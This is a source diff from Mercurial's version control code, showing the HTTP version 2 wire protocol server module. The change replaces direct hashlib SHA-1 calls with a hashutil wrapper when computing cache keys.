     def debugwireargs(self, one, two, three=None, four=None, five=None):
         # don't pass optional arguments left at their default value
         opts = {}
         if three is not None:
             opts['three'] = three
         if four is not None:
             opts['four'] = four
         return self._call(b'debugwireargs', one=one, two=two, **opts)
 
     def _call(self, cmd, **args):
         """execute <cmd> on the server
 
         The command is expected to return a simple string.
 
         returns the server reply as a string."""
         raise NotImplementedError()
 
     def _callstream(self, cmd, **args):
         """execute <cmd> on the server
 
         The command is expected to return a stream. Note that if the
         command doesn't return a stream, _callstream behaves
         differently for ssh and http peers.
 
         returns the server reply as a file like object.
         """
         raise NotImplementedError()
 
     def _callcompressable(self, cmd, **args):
         """execute <cmd> on the server
 
         The command is expected to return a stream.
 
         The stream may have been compressed in some implementations. This
         function takes care of the decompression. This is the only difference
         with _callstream.
 
         returns the server reply as a file like object.
         """
         raise NotImplementedError()
 
     def _callpush(self, cmd, fp, **args):
         """execute a <cmd> on server
 
         The command is expected to be related to a push. Push has a special
         return method.
 
         returns the server reply as a (ret, output) tuple. ret is either
         empty (error) or a stringified int.
         """
         raise NotImplementedError()
 
     def _calltwowaystream(self, cmd, fp, **args):
         """execute <cmd> on server
 
         The command will send a stream to the server and get a stream in reply.
         """
         raise NotImplementedError()
 
     def _abort(self, exception):
         """clearly abort the wire protocol connection and raise the exception
         """
         raise NotImplementedError()

mercurial/wireprotov2server.py

@@ -1,1573 +1,1573
 # Copyright 21 May 2005 - (c) 2005 Jake Edge <[e-mail]>
 # Copyright 2005-2007 Matt Mackall <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 from __future__ import absolute_import
 
 import collections
 import contextlib
-import hashlib
 
 from .i18n import _
 from .node import (
     hex,
     nullid,
 )
 from . import (
     discovery,
     encoding,
     error,
     match as matchmod,
     narrowspec,
     pycompat,
     streamclone,
     templatefilters,
     util,
     wireprotoframing,
     wireprototypes,
 )
 from .interfaces import util as interfaceutil
 from .utils import (
     cborutil,
+    hashutil,
     stringutil,
 )
 
 FRAMINGTYPE = b'application/mercurial-exp-framing-0006'
 
 HTTP_WIREPROTO_V2 = wireprototypes.HTTP_WIREPROTO_V2
 
 COMMANDS = wireprototypes.commanddict()
 
 # Value inserted into cache key computation function. Change the value to
 # force new cache keys for every command request. This should be done when
 # there is a change to how caching works, etc.
 GLOBAL_CACHE_VERSION = 1
 
 
 def handlehttpv2request(rctx, req, res, checkperm, urlparts):
     from .hgweb import common as hgwebcommon
 
     # URL space looks like: <permissions>/<command>, where <permission> can
     # be ``ro`` or ``rw`` to signal read-only or read-write, respectively.
 
     # Root URL does nothing meaningful... yet.
     if not urlparts:
         res.status = b'200 OK'
         res.headers[b'Content-Type'] = b'text/plain'
         res.setbodybytes(_(b'HTTP version 2 API handler'))
         return
 
     if len(urlparts) == 1:
         res.status = b'404 Not Found'
         res.headers[b'Content-Type'] = b'text/plain'
         res.setbodybytes(
             _(b'do not know how to process %s\n') % req.dispatchpath
         )
         return
 
     permission, command = urlparts[0:2]
 
     if permission not in (b'ro', b'rw'):
         res.status = b'404 Not Found'
         res.headers[b'Content-Type'] = b'text/plain'
         res.setbodybytes(_(b'unknown permission: %s') % permission)
         return
 
     if req.method != b'POST':
         res.status = b'405 Method Not Allowed'
         res.headers[b'Allow'] = b'POST'
         res.setbodybytes(_(b'commands require POST requests'))
         return
 
     # At some point we'll want to use our own API instead of recycling the
     # behavior of version 1 of the wire protocol...
     # TODO return reasonable responses - not responses that overload the
     # HTTP status line message for error reporting.
     try:
         checkperm(rctx, req, b'pull' if permission == b'ro' else b'push')
     except hgwebcommon.ErrorResponse as e:
         res.status = hgwebcommon.statusmessage(e.code, pycompat.bytestr(e))
         for k, v in e.headers:
             res.headers[k] = v
         res.setbodybytes(b'permission denied')
         return
 
     # We have a special endpoint to reflect the request back at the client.
     if command == b'debugreflect':
         _processhttpv2reflectrequest(rctx.repo.ui, rctx.repo, req, res)
         return
 
     # Extra commands that we handle that aren't really wire protocol
     # commands. Think extra hard before making this hackery available to
     # extension.
     extracommands = {b'multirequest'}
 
     if command not in COMMANDS and command not in extracommands:
         res.status = b'404 Not Found'
         res.headers[b'Content-Type'] = b'text/plain'
         res.setbodybytes(_(b'unknown wire protocol command: %s\n') % command)
         return
 
     repo = rctx.repo
     ui = repo.ui
 
     proto = httpv2protocolhandler(req, ui)
 
     if (
         not COMMANDS.commandavailable(command, proto)
         and command not in extracommands
     ):
         res.status = b'404 Not Found'
         res.headers[b'Content-Type'] = b'text/plain'
         res.setbodybytes(_(b'invalid wire protocol command: %s') % command)
         return
 
     # TODO consider cases where proxies may add additional Accept headers.
     if req.headers.get(b'Accept') != FRAMINGTYPE:
         res.status = b'406 Not Acceptable'
         res.headers[b'Content-Type'] = b'text/plain'
         res.setbodybytes(
             _(b'client MUST specify Accept header with value: %s\n')
             % FRAMINGTYPE
         )
         return
 
     if req.headers.get(b'Content-Type') != FRAMINGTYPE:
         res.status = b'415 Unsupported Media Type'
         # TODO we should send a response with appropriate media type,
         # since client does Accept it.
         res.headers[b'Content-Type'] = b'text/plain'
         res.setbodybytes(
             _(b'client MUST send Content-Type header with value: %s\n')
             % FRAMINGTYPE
         )
         return
 
     _processhttpv2request(ui, repo, req, res, permission, command, proto)
 
 
 def _processhttpv2reflectrequest(ui, repo, req, res):
     """Reads unified frame protocol request and dumps out state to client.
 
     This special endpoint can be used to help debug the wire protocol.
 
     Instead of routing the request through the normal dispatch mechanism,
     we instead read all frames, decode them, and feed them into our state
     tracker. We then dump the log of all that activity back out to the
     client.
     """
     # Reflection APIs have a history of being abused, accidentally disclosing
     # sensitive data, etc. So we have a config knob.
     if not ui.configbool(b'experimental', b'web.api.debugreflect'):
         res.status = b'404 Not Found'
         res.headers[b'Content-Type'] = b'text/plain'
         res.setbodybytes(_(b'debugreflect service not available'))
         return
 
     # We assume we have a unified framing protocol request body.
 
     reactor = wireprotoframing.serverreactor(ui)
     states = []
 
     while True:
         frame = wireprotoframing.readframe(req.bodyfh)
 
         if not frame:
             states.append(b'received: <no frame>')
             break
 
         states.append(
             b'received: %d %d %d %s'
             % (frame.typeid, frame.flags, frame.requestid, frame.payload)
         )
 
         action, meta = reactor.onframerecv(frame)
         states.append(templatefilters.json((action, meta)))
 
     action, meta = reactor.oninputeof()
     meta[b'action'] = action
     states.append(templatefilters.json(meta))
 
     res.status = b'200 OK'
     res.headers[b'Content-Type'] = b'text/plain'
     res.setbodybytes(b'\n'.join(states))
 
 
 def _processhttpv2request(ui, repo, req, res, authedperm, reqcommand, proto):
     """Post-validation handler for HTTPv2 requests.
 
     Called when the HTTP request contains unified frame-based protocol
     frames for evaluation.
     """
     # TODO Some HTTP clients are full duplex and can receive data before
     # the entire request is transmitted. Figure out a way to indicate support
     # for that so we can opt into full duplex mode.
     reactor = wireprotoframing.serverreactor(ui, deferoutput=True)
     seencommand = False
 
     outstream = None
 
     while True:
         frame = wireprotoframing.readframe(req.bodyfh)
         if not frame:
             break
 
         action, meta = reactor.onframerecv(frame)
 
         if action == b'wantframe':
             # Need more data before we can do anything.
             continue
         elif action == b'runcommand':
             # Defer creating output stream because we need to wait for
             # protocol settings frames so proper encoding can be applied.
             if not outstream:
                 outstream = reactor.makeoutputstream()
 
             sentoutput = _httpv2runcommand(
                 ui,
                 repo,
                 req,
                 res,
                 authedperm,
                 reqcommand,
                 reactor,
                 outstream,
                 meta,
                 issubsequent=seencommand,
             )
 
             if sentoutput:
                 return
 
             seencommand = True
 
         elif action == b'error':
             # TODO define proper error mechanism.
             res.status = b'200 OK'
             res.headers[b'Content-Type'] = b'text/plain'
             res.setbodybytes(meta[b'message'] + b'\n')
             return
         else:
             raise error.ProgrammingError(
                 b'unhandled action from frame processor: %s' % action
             )
 
     action, meta = reactor.oninputeof()
     if action == b'sendframes':
         # We assume we haven't started sending the response yet. If we're
         # wrong, the response type will raise an exception.
         res.status = b'200 OK'
         res.headers[b'Content-Type'] = FRAMINGTYPE
         res.setbodygen(meta[b'framegen'])
     elif action == b'noop':
         pass
     else:
         raise error.ProgrammingError(
             b'unhandled action from frame processor: %s' % action
         )
 
 
 def _httpv2runcommand(
     ui,
     repo,
     req,
     res,
     authedperm,
     reqcommand,
     reactor,
     outstream,
     command,
     issubsequent,
 ):
     """Dispatch a wire protocol command made from HTTPv2 requests.
 
     The authenticated permission (``authedperm``) along with the original
     command from the URL (``reqcommand``) are passed in.
     """
     # We already validated that the session has permissions to perform the
     # actions in ``authedperm``. In the unified frame protocol, the canonical
     # command to run is expressed in a frame. However, the URL also requested
     # to run a specific command. We need to be careful that the command we
     # run doesn't have permissions requirements greater than what was granted
     # by ``authedperm``.
     #
     # Our rule for this is we only allow one command per HTTP request and
     # that command must match the command in the URL. However, we make
     # an exception for the ``multirequest`` URL. This URL is allowed to
     # execute multiple commands. We double check permissions of each command
     # as it is invoked to ensure there is no privilege escalation.
     # TODO consider allowing multiple commands to regular command URLs
     # iff each command is the same.
 
     proto = httpv2protocolhandler(req, ui, args=command[b'args'])
 
     if reqcommand == b'multirequest':
         if not COMMANDS.commandavailable(command[b'command'], proto):
             # TODO proper error mechanism
             res.status = b'200 OK'
             res.headers[b'Content-Type'] = b'text/plain'
             res.setbodybytes(
                 _(b'wire protocol command not available: %s')
                 % command[b'command']
             )
             return True
 
         # TODO don't use assert here, since it may be elided by -O.
         assert authedperm in (b'ro', b'rw')
         wirecommand = COMMANDS[command[b'command']]
         assert wirecommand.permission in (b'push', b'pull')
 
         if authedperm == b'ro' and wirecommand.permission != b'pull':
             # TODO proper error mechanism
             res.status = b'403 Forbidden'
             res.headers[b'Content-Type'] = b'text/plain'
             res.setbodybytes(
                 _(b'insufficient permissions to execute command: %s')
                 % command[b'command']
             )
             return True
 
         # TODO should we also call checkperm() here? Maybe not if we're going
         # to overhaul that API. The granted scope from the URL check should
         # be good enough.
 
     else:
         # Don't allow multiple commands outside of ``multirequest`` URL.
         if issubsequent:
             # TODO proper error mechanism
             res.status = b'200 OK'
             res.headers[b'Content-Type'] = b'text/plain'
             res.setbodybytes(
                 _(b'multiple commands cannot be issued to this URL')
             )
             return True
 
         if reqcommand != command[b'command']:
             # TODO define proper error mechanism
             res.status = b'200 OK'
             res.headers[b'Content-Type'] = b'text/plain'
             res.setbodybytes(_(b'command in frame must match command in URL'))
             return True
 
     res.status = b'200 OK'
     res.headers[b'Content-Type'] = FRAMINGTYPE
 
     try:
         objs = dispatch(repo, proto, command[b'command'], command[b'redirect'])
 
         action, meta = reactor.oncommandresponsereadyobjects(
             outstream, command[b'requestid'], objs
         )
 
     except error.WireprotoCommandError as e:
         action, meta = reactor.oncommanderror(
             outstream, command[b'requestid'], e.message, e.messageargs
         )
 
     except Exception as e:
         action, meta = reactor.onservererror(
             outstream,
             command[b'requestid'],
             _(b'exception when invoking command: %s')
             % stringutil.forcebytestr(e),
         )
 
     if action == b'sendframes':
         res.setbodygen(meta[b'framegen'])
         return True
     elif action == b'noop':
         return False
     else:
         raise error.ProgrammingError(
             b'unhandled event from reactor: %s' % action
         )
 
 
 def getdispatchrepo(repo, proto, command):
     viewconfig = repo.ui.config(b'server', b'view')
     return repo.filtered(viewconfig)
 
 
 def dispatch(repo, proto, command, redirect):
     """Run a wire protocol command.
 
     Returns an iterable of objects that will be sent to the client.
     """
     repo = getdispatchrepo(repo, proto, command)
 
     entry = COMMANDS[command]
     func = entry.func
     spec = entry.args
 
     args = proto.getargs(spec)
 
     # There is some duplicate boilerplate code here for calling the command and
     # emitting objects. It is either that or a lot of indented code that looks
     # like a pyramid (since there are a lot of code paths that result in not
     # using the cacher).
     callcommand = lambda: func(repo, proto, **pycompat.strkwargs(args))
 
     # Request is not cacheable. Don't bother instantiating a cacher.
     if not entry.cachekeyfn:
         for o in callcommand():
             yield o
         return
 
     if redirect:
         redirecttargets = redirect[b'targets']
         redirecthashes = redirect[b'hashes']
     else:
         redirecttargets = []
         redirecthashes = []
 
     cacher = makeresponsecacher(
         repo,
         proto,
         command,
         args,
         cborutil.streamencode,
         redirecttargets=redirecttargets,
         redirecthashes=redirecthashes,
     )
 
     # But we have no cacher. Do default handling.
     if not cacher:
         for o in callcommand():
             yield o
         return
 
     with cacher:
         cachekey = entry.cachekeyfn(
             repo, proto, cacher, **pycompat.strkwargs(args)
         )
 
         # No cache key or the cacher doesn't like it. Do default handling.
         if cachekey is None or not cacher.setcachekey(cachekey):
             for o in callcommand():
                 yield o
             return
 
         # Serve it from the cache, if possible.
         cached = cacher.lookup()
 
         if cached:
             for o in cached[b'objs']:
                 yield o
             return
 
         # Else call the command and feed its output into the cacher, allowing
         # the cacher to buffer/mutate objects as it desires.
         for o in callcommand():
             for o in cacher.onobject(o):
                 yield o
 
         for o in cacher.onfinished():
             yield o
 
 
 @interfaceutil.implementer(wireprototypes.baseprotocolhandler)
 class httpv2protocolhandler(object):
     def __init__(self, req, ui, args=None):
         self._req = req
         self._ui = ui
         self._args = args
 
     @property
     def name(self):
         return HTTP_WIREPROTO_V2
 
     def getargs(self, args):
         # First look for args that were passed but aren't registered on this
         # command.
         extra = set(self._args) - set(args)
         if extra:
             raise error.WireprotoCommandError(
                 b'unsupported argument to command: %s'
                 % b', '.join(sorted(extra))
             )
 
         # And look for required arguments that are missing.
         missing = {a for a in args if args[a][b'required']} - set(self._args)
 
         if missing:
             raise error.WireprotoCommandError(
                 b'missing required arguments: %s' % b', '.join(sorted(missing))
             )
 
         # Now derive the arguments to pass to the command, taking into
         # account the arguments specified by the client.
         data = {}
         for k, meta in sorted(args.items()):
             # This argument wasn't passed by the client.
             if k not in self._args:
                 data[k] = meta[b'default']()
                 continue
 
             v = self._args[k]
 
             # Sets may be expressed as lists. Silently normalize.
             if meta[b'type'] == b'set' and isinstance(v, list):
                 v = set(v)
 
             # TODO consider more/stronger type validation.
 
             data[k] = v
 
         return data
 
     def getprotocaps(self):
         # Protocol capabilities are currently not implemented for HTTP V2.
         return set()
 
     def getpayload(self):
         raise NotImplementedError
 
     @contextlib.contextmanager
     def mayberedirectstdio(self):
         raise NotImplementedError
 
     def client(self):
         raise NotImplementedError
 
     def addcapabilities(self, repo, caps):
         return caps
 
     def checkperm(self, perm):
         raise NotImplementedError
 
 
 def httpv2apidescriptor(req, repo):
     proto = httpv2protocolhandler(req, repo.ui)
 
     return _capabilitiesv2(repo, proto)
 
 
 def _capabilitiesv2(repo, proto):
     """Obtain the set of capabilities for version 2 transports.
 
     These capabilities are distinct from the capabilities for version 1
     transports.
     """
     caps = {
         b'commands': {},
         b'framingmediatypes': [FRAMINGTYPE],
         b'pathfilterprefixes': set(narrowspec.VALID_PREFIXES),
     }
 
     for command, entry in COMMANDS.items():
         args = {}
 
         for arg, meta in entry.args.items():
             args[arg] = {
                 # TODO should this be a normalized type using CBOR's
                 # terminology?
                 b'type': meta[b'type'],
                 b'required': meta[b'required'],
             }
 
             if not meta[b'required']:
                 args[arg][b'default'] = meta[b'default']()
 
             if meta[b'validvalues']:
                 args[arg][b'validvalues'] = meta[b'validvalues']
 
         # TODO this type of check should be defined in a per-command callback.
         if (
             command == b'rawstorefiledata'
             and not streamclone.allowservergeneration(repo)
         ):
             continue
 
         caps[b'commands'][command] = {
             b'args': args,
             b'permissions': [entry.permission],
         }
 
         if entry.extracapabilitiesfn:
             extracaps = entry.extracapabilitiesfn(repo, proto)
             caps[b'commands'][command].update(extracaps)
 
     caps[b'rawrepoformats'] = sorted(repo.requirements & repo.supportedformats)
 
     targets = getadvertisedredirecttargets(repo, proto)
     if targets:
         caps[b'redirect'] = {
             b'targets': [],
             b'hashes': [b'sha256', b'sha1'],
         }
 
         for target in targets:
             entry = {
                 b'name': target[b'name'],
                 b'protocol': target[b'protocol'],
                 b'uris': target[b'uris'],
             }
 
             for key in (b'snirequired', b'tlsversions'):
                 if key in target:
                     entry[key] = target[key]
 
             caps[b'redirect'][b'targets'].append(entry)
 
     return proto.addcapabilities(repo, caps)
 
 
 def getadvertisedredirecttargets(repo, proto):
     """Obtain a list of content redirect targets.
 
     Returns a list containing potential redirect targets that will be
     advertised in capabilities data. Each dict MUST have the following
     keys:
 
     name
        The name of this redirect target. This is the identifier clients use
        to refer to a target. It is transferred as part of every command
        request.
 
     protocol
        Network protocol used by this target. Typically this is the string
        in front of the ``://`` in a URL. e.g. ``https``.
 
     uris
        List of representative URIs for this target. Clients can use the
        URIs to test parsing for compatibility or for ordering preference
        for which target to use.
 
     The following optional keys are recognized:
 
     snirequired
        Bool indicating if Server Name Indication (SNI) is required to
        connect to this target.
 
     tlsversions
        List of bytes indicating which TLS versions are supported by this
        target.
 
     By default, clients reflect the target order advertised by servers
     and servers will use the first client-advertised target when picking
     a redirect target. So targets should be advertised in the order the
     server prefers they be used.
     """
     return []
 
 
 def wireprotocommand(
     name,
     args=None,
     permission=b'push',
     cachekeyfn=None,
     extracapabilitiesfn=None,
 ):
     """Decorator to declare a wire protocol command.
 
     ``name`` is the name of the wire protocol command being provided.
 
     ``args`` is a dict defining arguments accepted by the command. Keys are
     the argument name. Values are dicts with the following keys:
 
        ``type``
           The argument data type. Must be one of the following string
           literals: ``bytes``, ``int``, ``list``, ``dict``, ``set``,
           or ``bool``.
 
        ``default``
           A callable returning the default value for this argument. If not
           specified, ``None`` will be the default value.
 
        ``example``
           An example value for this argument.
 
        ``validvalues``
           Set of recognized values for this argument.
 
     ``permission`` defines the permission type needed to run this command.
     Can be ``push`` or ``pull``. These roughly map to read-write and read-only,
     respectively. Default is to assume command requires ``push`` permissions
     because otherwise commands not declaring their permissions could modify
     a repository that is supposed to be read-only.
 
     ``cachekeyfn`` defines an optional callable that can derive the
     cache key for this request.
 
     ``extracapabilitiesfn`` defines an optional callable that defines extra
     command capabilities/parameters that are advertised next to the command
     in the capabilities data structure describing the server. The callable
     receives as arguments the repository and protocol objects. It returns
     a dict of extra fields to add to the command descriptor.
 
     Wire protocol commands are generators of objects to be serialized and
     sent to the client.
 
     If a command raises an uncaught exception, this will be translated into
     a command error.
 
     All commands can opt in to being cacheable by defining a function
     (``cachekeyfn``) that is called to derive a cache key. This function
     receives the same arguments as the command itself plus a ``cacher``
     argument containing the active cacher for the request and returns a bytes
     containing the key in a cache the response to this command may be cached
     under.
     """
     transports = {
         k for k, v in wireprototypes.TRANSPORTS.items() if v[b'version'] == 2
     }
 
     if permission not in (b'push', b'pull'):
         raise error.ProgrammingError(
             b'invalid wire protocol permission; '
             b'got %s; expected "push" or "pull"' % permission
         )
 
     if args is None:
         args = {}
 
     if not isinstance(args, dict):
         raise error.ProgrammingError(
             b'arguments for version 2 commands must be declared as dicts'
         )
 
     for arg, meta in args.items():
         if arg == b'*':
             raise error.ProgrammingError(
                 b'* argument name not allowed on version 2 commands'
             )
 
         if not isinstance(meta, dict):
             raise error.ProgrammingError(
                 b'arguments for version 2 commands '
                 b'must declare metadata as a dict'
             )
 
         if b'type' not in meta:
             raise error.ProgrammingError(
                 b'%s argument for command %s does not '
                 b'declare type field' % (arg, name)
             )
 
         if meta[b'type'] not in (
             b'bytes',
             b'int',
             b'list',
             b'dict',
             b'set',
             b'bool',
         ):
             raise error.ProgrammingError(
                 b'%s argument for command %s has '
                 b'illegal type: %s' % (arg, name, meta[b'type'])
             )
 
         if b'example' not in meta:
             raise error.ProgrammingError(
                 b'%s argument for command %s does not '
                 b'declare example field' % (arg, name)
             )
 
         meta[b'required'] = b'default' not in meta
 
         meta.setdefault(b'default', lambda: None)
         meta.setdefault(b'validvalues', None)
 
     def register(func):
         if name in COMMANDS:
             raise error.ProgrammingError(
                 b'%s command already registered for version 2' % name
             )
 
         COMMANDS[name] = wireprototypes.commandentry(
             func,
             args=args,
             transports=transports,
             permission=permission,
             cachekeyfn=cachekeyfn,
             extracapabilitiesfn=extracapabilitiesfn,
         )
 
         return func
 
     return register
 
 
 def makecommandcachekeyfn(command, localversion=None, allargs=False):
     """Construct a cache key derivation function with common features.
 
     By default, the cache key is a hash of:
 
     * The command name.
     * A global cache version number.
     * A local cache version number (passed via ``localversion``).
     * All the arguments passed to the command.
     * The media type used.
     * Wire protocol version string.
     * The repository path.
     """
     if not allargs:
         raise error.ProgrammingError(
             b'only allargs=True is currently supported'
         )
 
     if localversion is None:
         raise error.ProgrammingError(b'must set localversion argument value')
 
     def cachekeyfn(repo, proto, cacher, **args):
         spec = COMMANDS[command]
 
         # Commands that mutate the repo can not be cached.
         if spec.permission == b'push':
             return None
 
         # TODO config option to disable caching.
 
         # Our key derivation strategy is to construct a data structure
         # holding everything that could influence cacheability and to hash
         # the CBOR representation of that. Using CBOR seems like it might
         # be overkill. However, simpler hashing mechanisms are prone to
         # duplicate input issues. e.g. if you just concatenate two values,
         # "foo"+"bar" is identical to "fo"+"obar". Using CBOR provides
         # "padding" between values and prevents these problems.
 
         # Seed the hash with various data.
         state = {
             # To invalidate all cache keys.
             b'globalversion': GLOBAL_CACHE_VERSION,
             # More granular cache key invalidation.
             b'localversion': localversion,
             # Cache keys are segmented by command.
             b'command': command,
             # Throw in the media type and API version strings so changes
             # to exchange semantics invalid cache.
             b'mediatype': FRAMINGTYPE,
             b'version': HTTP_WIREPROTO_V2,
             # So same requests for different repos don't share cache keys.
             b'repo': repo.root,
         }
 
         # The arguments passed to us will have already been normalized.
         # Default values will be set, etc. This is important because it
         # means that it doesn't matter if clients send an explicit argument
         # or rely on the default value: it will all normalize to the same
         # set of arguments on the server and therefore the same cache key.
         #
         # Arguments by their very nature must support being encoded to CBOR.
         # And the CBOR encoder is deterministic. So we hash the arguments
         # by feeding the CBOR of their representation into the hasher.
         if allargs:
             state[b'args'] = pycompat.byteskwargs(args)
 
         cacher.adjustcachekeystate(state)
 
-        hasher = hashlib.sha1()
+        hasher = hashutil.sha1()
         for chunk in cborutil.streamencode(state):
             hasher.update(chunk)
 
         return pycompat.sysbytes(hasher.hexdigest())
 
     return cachekeyfn
 
 
 def makeresponsecacher(
     repo, proto, command, args, objencoderfn, redirecttargets, redirecthashes
 ):
     """Construct a cacher for a cacheable command.
 
     Returns an ``iwireprotocolcommandcacher`` instance.
 
     Extensions can monkeypatch this function to provide custom caching
     backends.
     """
     return None
 
 
 def resolvenodes(repo, revisions):
     """Resolve nodes from a revisions specifier data structure."""
     cl = repo.changelog
     clhasnode = cl.hasnode
 
     seen = set()
     nodes = []
 
     if not isinstance(revisions, list):
         raise error.WireprotoCommandError(
             b'revisions must be defined as an array'
         )
 
     for spec in revisions:
         if b'type' not in spec:
             raise error.WireprotoCommandError(
                 b'type key not present in revision specifier'
             )
 
         typ = spec[b'type']
 
         if typ == b'changesetexplicit':
             if b'nodes' not in spec:
                 raise error.WireprotoCommandError(
                     b'nodes key not present in changesetexplicit revision '
                     b'specifier'
                 )
 
             for node in spec[b'nodes']:
                 if node not in seen:
                     nodes.append(node)
                     seen.add(node)
 
         elif typ == b'changesetexplicitdepth':
             for key in (b'nodes', b'depth'):
                 if key not in spec:
                     raise error.WireprotoCommandError(
                         b'%s key not present in changesetexplicitdepth revision '
                         b'specifier',
                         (key,),
                     )
 
             for rev in repo.revs(
                 b'ancestors(%ln, %s)', spec[b'nodes'], spec[b'depth'] - 1
             ):
                 node = cl.node(rev)
 
                 if node not in seen:
                     nodes.append(node)
                     seen.add(node)
 
         elif typ == b'changesetdagrange':
             for key in (b'roots', b'heads'):
                 if key not in spec:
                     raise error.WireprotoCommandError(
                         b'%s key not present in changesetdagrange revision '
                         b'specifier',
                         (key,),
                     )
 
             if not spec[b'heads']:
                 raise error.WireprotoCommandError(
                     b'heads key in changesetdagrange cannot be empty'
                 )
 
             if spec[b'roots']:
                 common = [n for n in spec[b'roots'] if clhasnode(n)]
             else:
                 common = [nullid]
 
             for n in discovery.outgoing(repo, common, spec[b'heads']).missing:
                 if n not in seen:
                     nodes.append(n)
                     seen.add(n)
 
         else:
             raise error.WireprotoCommandError(
                 b'unknown revision specifier type: %s', (typ,)
             )
 
     return nodes
 
 
 @wireprotocommand(b'branchmap', permission=b'pull')
 def branchmapv2(repo, proto):
     yield {
         encoding.fromlocal(k): v
         for k, v in pycompat.iteritems(repo.branchmap())
     }
 
 
 @wireprotocommand(b'capabilities', permission=b'pull')
 def capabilitiesv2(repo, proto):
     yield _capabilitiesv2(repo, proto)
 
 
 @wireprotocommand(
     b'changesetdata',
     args={
         b'revisions': {
             b'type': b'list',
             b'example': [
                 {b'type': b'changesetexplicit', b'nodes': [b'abcdef...'],}
             ],
         },
         b'fields': {
             b'type': b'set',
             b'default': set,
             b'example': {b'parents', b'revision'},
             b'validvalues': {b'bookmarks', b'parents', b'phase', b'revision'},
         },
     },
     permission=b'pull',
 )
 def changesetdata(repo, proto, revisions, fields):
     # TODO look for unknown fields and abort when they can't be serviced.
     # This could probably be validated by dispatcher using validvalues.
 
     cl = repo.changelog
     outgoing = resolvenodes(repo, revisions)
     publishing = repo.publishing()
 
     if outgoing:
         repo.hook(b'preoutgoing', throw=True, source=b'serve')
 
     yield {
         b'totalitems': len(outgoing),
     }
 
     # The phases of nodes already transferred to the client may have changed
     # since the client last requested data. We send phase-only records
     # for these revisions, if requested.
     # TODO actually do this. We'll probably want to emit phase heads
     # in the ancestry set of the outgoing revisions. This will ensure
     # that phase updates within that set are seen.
     if b'phase' in fields:
         pass
 
     nodebookmarks = {}
     for mark, node in repo._bookmarks.items():
         nodebookmarks.setdefault(node, set()).add(mark)
 
     # It is already topologically sorted by revision number.
     for node in outgoing:
         d = {
             b'node': node,
         }
 
         if b'parents' in fields:
             d[b'parents'] = cl.parents(node)
 
         if b'phase' in fields:
             if publishing:
                 d[b'phase'] = b'public'
             else:
                 ctx = repo[node]
                 d[b'phase'] = ctx.phasestr()
 
         if b'bookmarks' in fields and node in nodebookmarks:
             d[b'bookmarks'] = sorted(nodebookmarks[node])
             del nodebookmarks[node]
 
         followingmeta = []
         followingdata = []
 
         if b'revision' in fields:
             revisiondata = cl.rawdata(node)
             followingmeta.append((b'revision', len(revisiondata)))
             followingdata.append(revisiondata)
 
         # TODO make it possible for extensions to wrap a function or register
         # a handler to service custom fields.
 
         if followingmeta:
             d[b'fieldsfollowing'] = followingmeta
 
         yield d
 
         for extra in followingdata:
             yield extra
 
     # If requested, send bookmarks from nodes that didn't have revision
     # data sent so receiver is aware of any bookmark updates.
     if b'bookmarks' in fields:
         for node, marks in sorted(pycompat.iteritems(nodebookmarks)):
             yield {
                 b'node': node,
                 b'bookmarks': sorted(marks),
             }
 
 
 class FileAccessError(Exception):
     """Represents an error accessing a specific file."""
 
     def __init__(self, path, msg, args):
         self.path = path
         self.msg = msg
         self.args = args
 
 
 def getfilestore(repo, proto, path):
     """Obtain a file storage object for use with wire protocol.
 
     Exists as a standalone function so extensions can monkeypatch to add
     access control.
     """
     # This seems to work even if the file doesn't exist. So catch
     # "empty" files and return an error.
     fl = repo.file(path)
 
     if not len(fl):
         raise FileAccessError(path, b'unknown file: %s', (path,))
 
     return fl
 
 
 def emitfilerevisions(repo, path, revisions, linknodes, fields):
     for revision in revisions:
         d = {
             b'node': revision.node,
         }
 
         if b'parents' in fields:
             d[b'parents'] = [revision.p1node, revision.p2node]
 
         if b'linknode' in fields:
             d[b'linknode'] = linknodes[revision.node]
 
         followingmeta = []
         followingdata = []
 
         if b'revision' in fields:
             if revision.revision is not None:
                 followingmeta.append((b'revision', len(revision.revision)))
                 followingdata.append(revision.revision)
             else:
                 d[b'deltabasenode'] = revision.basenode
                 followingmeta.append((b'delta', len(revision.delta)))
                 followingdata.append(revision.delta)
 
         if followingmeta:
             d[b'fieldsfollowing'] = followingmeta
 
         yield d
 
         for extra in followingdata:
             yield extra
 
 
 def makefilematcher(repo, pathfilter):
     """Construct a matcher from a path filter dict."""
 
     # Validate values.
     if pathfilter:
         for key in (b'include', b'exclude'):
             for pattern in pathfilter.get(key, []):
                 if not pattern.startswith((b'path:', b'rootfilesin:')):
                     raise error.WireprotoCommandError(
                         b'%s pattern must begin with `path:` or `rootfilesin:`; '
                         b'got %s',
                         (key, pattern),
                     )
 
     if pathfilter:
         matcher = matchmod.match(
             repo.root,
             b'',
             include=pathfilter.get(b'include', []),
             exclude=pathfilter.get(b'exclude', []),
         )
     else:
         matcher = matchmod.match(repo.root, b'')
 
     # Requested patterns could include files not in the local store. So
     # filter those out.
     return repo.narrowmatch(matcher)
 
 
 @wireprotocommand(
     b'filedata',
     args={
         b'haveparents': {
             b'type': b'bool',
             b'default': lambda: False,
             b'example': True,
         },
         b'nodes': {b'type': b'list', b'example': [b'0123456...'],},
         b'fields': {
             b'type': b'set',
             b'default': set,
             b'example': {b'parents', b'revision'},
             b'validvalues': {b'parents', b'revision', b'linknode'},
         },
         b'path': {b'type': b'bytes', b'example': b'foo.txt',},
     },
     permission=b'pull',
     # TODO censoring a file revision won't invalidate the cache.
     # Figure out a way to take censoring into account when deriving
     # the cache key.
     cachekeyfn=makecommandcachekeyfn(b'filedata', 1, allargs=True),
 )
 def filedata(repo, proto, haveparents, nodes, fields, path):
     # TODO this API allows access to file revisions that are attached to
     # secret changesets. filesdata does not have this problem. Maybe this
     # API should be deleted?
 
     try:
         # Extensions may wish to access the protocol handler.
         store = getfilestore(repo, proto, path)
     except FileAccessError as e:
         raise error.WireprotoCommandError(e.msg, e.args)
 
     clnode = repo.changelog.node
     linknodes = {}
 
     # Validate requested nodes.
     for node in nodes:
         try:
             store.rev(node)
         except error.LookupError:
             raise error.WireprotoCommandError(
                 b'unknown file node: %s', (hex(node),)
             )
 
         # TODO by creating the filectx against a specific file revision
         # instead of changeset, linkrev() is always used. This is wrong for
         # cases where linkrev() may refer to a hidden changeset. But since this
         # API doesn't know anything about changesets, we're not sure how to
         # disambiguate the linknode. Perhaps we should delete this API?
         fctx = repo.filectx(path, fileid=node)
         linknodes[node] = clnode(fctx.introrev())
 
